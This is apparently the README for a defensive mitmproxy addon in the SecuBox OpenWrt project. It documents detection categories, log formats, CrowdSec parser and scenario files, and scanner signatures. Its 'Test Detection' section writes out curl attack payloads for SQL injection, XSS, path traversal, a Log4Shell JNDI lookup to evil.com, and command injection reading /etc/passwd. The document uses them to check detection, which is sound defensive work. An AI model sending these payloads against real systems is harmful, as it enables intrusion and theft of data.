secubox-openwrt/package/secubox/secubox-app-mitmproxy/root/srv/mitmproxy/addons/README.md
CyberMind-FR a6d2b75db8 feat(mitmproxy): Enhanced threat detection analytics v2.0
Analytics addon enhancements:
- SQL injection detection (25+ patterns)
- XSS detection (30+ patterns)
- Command injection detection (20+ patterns)
- Path traversal detection (12+ patterns)
- SSRF detection (10+ patterns)
- XXE/LDAP injection detection
- Log4Shell (CVE-2021-44228) detection
- Known CVE patterns (Spring4Shell, MOVEit, etc.)
- Rate limiting and bot detection
- CrowdSec integration with severity levels

LuCI interface rewrite (KISS):
- Simplified status view with threat monitor
- Security alerts table with severity badges
- Service controls (start/stop/restart)
- RPCD backend with alerts/threat_stats endpoints
- Clean settings form

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-31 15:39:36 +01:00

5.6 KiB

SecuBox Analytics Addon v2.0

Advanced threat detection addon for mitmproxy with CrowdSec integration.

Features

Threat Detection Categories

Category Patterns Severity Description
Path Scans 50+ Medium Config files, admin panels, backups, web shells
SQL Injection 25+ Critical Classic, blind, error-based, hex/char encoding
XSS 30+ High Script tags, event handlers, DOM manipulation
Command Injection 20+ Critical Shell commands, code execution, reverse shells
Path Traversal 12+ High Directory traversal, encoding bypass
SSRF 10+ High Internal IP targeting, cloud metadata
XXE 8+ Critical XML external entity injection
LDAP Injection 10+ High LDAP query manipulation
Log4Shell 7+ Critical JNDI/Log4j (CVE-2021-44228)

Known CVE Detection

  • CVE-2021-44228 - Log4Shell (JNDI injection)
  • CVE-2021-41773/42013 - Apache path traversal
  • CVE-2022-22963 - Spring Cloud Function RCE
  • CVE-2022-22965 - Spring4Shell
  • CVE-2023-34362 - MOVEit Transfer
  • CVE-2024-3400 - PAN-OS GlobalProtect

Additional Features

  • Rate Limiting: Detects request flooding (100 req/60s threshold)
  • Suspicious Headers: Identifies attack tool fingerprints
  • Bot Detection: 40+ scanner/bot signatures
  • GeoIP: Country-based tracking (requires MaxMind DB)
  • Client Fingerprinting: MD5 hash of browser characteristics

Output Files

File Description
/var/log/secubox-access.log Full access log (JSON lines)
/var/log/crowdsec/secubox-mitm.log CrowdSec-compatible threat log
/tmp/secubox-mitm-alerts.json Last 100 security alerts
/tmp/secubox-mitm-stats.json Real-time statistics

Log Format

Access Log Entry

{
  "timestamp": "2026-01-31T15:30:00Z",
  "client_ip": "203.0.113.50",
  "country": "CN",
  "method": "GET",
  "host": "example.com",
  "path": "/admin/../../../etc/passwd",
  "scan": {
    "is_scan": true,
    "pattern": "path_traversal",
    "type": "traversal",
    "severity": "high",
    "category": "file_access"
  },
  "client": {
    "fingerprint": "a1b2c3d4e5f6",
    "user_agent": "Mozilla/5.0...",
    "is_bot": false,
    "device": "linux"
  },
  "rate_limit": {
    "is_limited": false,
    "count": 15
  }
}

CrowdSec Log Entry

{
  "timestamp": "2026-01-31T15:30:00Z",
  "source_ip": "203.0.113.50",
  "country": "CN",
  "request": "GET /admin/../../../etc/passwd",
  "type": "traversal",
  "pattern": "path_traversal",
  "category": "file_access",
  "severity": "high",
  "cve": "",
  "is_bot": false,
  "rate_limited": false
}

CrowdSec Integration

Custom Parser

Create /etc/crowdsec/parsers/s02-enrich/secubox-mitm.yaml:

name: secubox/secubox-mitm
description: "Parse SecuBox MITM threat logs"
filter: "evt.Parsed.program == 'secubox-mitm'"
onsuccess: next_stage
nodes:
  - grok:
      pattern: '%{GREEDYDATA:json_log}'
      apply_on: message
  - statics:
      - parsed: source_ip
        expression: JsonExtract(evt.Parsed.json_log, "source_ip")
      - parsed: type
        expression: JsonExtract(evt.Parsed.json_log, "type")
      - parsed: severity
        expression: JsonExtract(evt.Parsed.json_log, "severity")
      - parsed: pattern
        expression: JsonExtract(evt.Parsed.json_log, "pattern")
      - meta: source_ip
        expression: evt.Parsed.source_ip

Custom Scenario

Create /etc/crowdsec/scenarios/secubox-mitm-threats.yaml:

type: trigger
name: secubox/mitm-critical-threat
description: "Block critical threats detected by SecuBox MITM"
filter: evt.Parsed.severity == "critical"
groupby: evt.Parsed.source_ip
blackhole: 5m
labels:
  type: scan
  service: http
  remediation: true

Usage

Enable in mitmproxy

# Run with addon
mitmdump -s /srv/mitmproxy/addons/secubox_analytics.py

# Or in mitmweb
mitmweb -s /srv/mitmproxy/addons/secubox_analytics.py

View Real-time Stats

# Watch stats file
watch -n 5 'cat /tmp/secubox-mitm-stats.json | jq'

# View recent alerts
cat /tmp/secubox-mitm-alerts.json | jq '.[-5:]'

# Tail CrowdSec log
tail -f /var/log/crowdsec/secubox-mitm.log | jq

Test Detection

# SQL Injection
curl "http://target/page?id=1'+OR+'1'='1"

# XSS
curl "http://target/search?q=<script>alert(1)</script>"

# Path Traversal
curl "http://target/../../../etc/passwd"

# Log4Shell
curl -H "X-Api-Token: \${jndi:ldap://evil.com/a}" http://target/

# Command Injection
curl "http://target/ping?host=127.0.0.1;cat+/etc/passwd"

Configuration

Rate Limiting

Modify in secubox_analytics.py:

# Default: 100 requests per 60 seconds
rate_limit = self._check_rate_limit(source_ip, window_seconds=60, max_requests=100)

GeoIP Database

Download MaxMind GeoLite2:

# Place database at:
/srv/mitmproxy/GeoLite2-Country.mmdb

Severity Levels

Level Action Examples
Critical Immediate alert SQL injection, Command injection, Log4Shell, XXE
High Alert + Log XSS, Path traversal, SSRF, LDAP injection
Medium Log only Path scans, Bot detection, Config file access
Low Stats only Rate limiting, Suspicious headers

Bot Signatures

Detected scanners and tools:

  • Security: Nmap, Nikto, Nuclei, SQLMap, Burp Suite, OWASP ZAP
  • Crawlers: zgrab, masscan, gobuster, ffuf, feroxbuster
  • HTTP Clients: curl, wget, python-requests, go-http-client
  • Bad Bots: AhrefsBot, SemrushBot, MJ12bot, etc.

License

Apache 2.0 - Part of SecuBox OpenWrt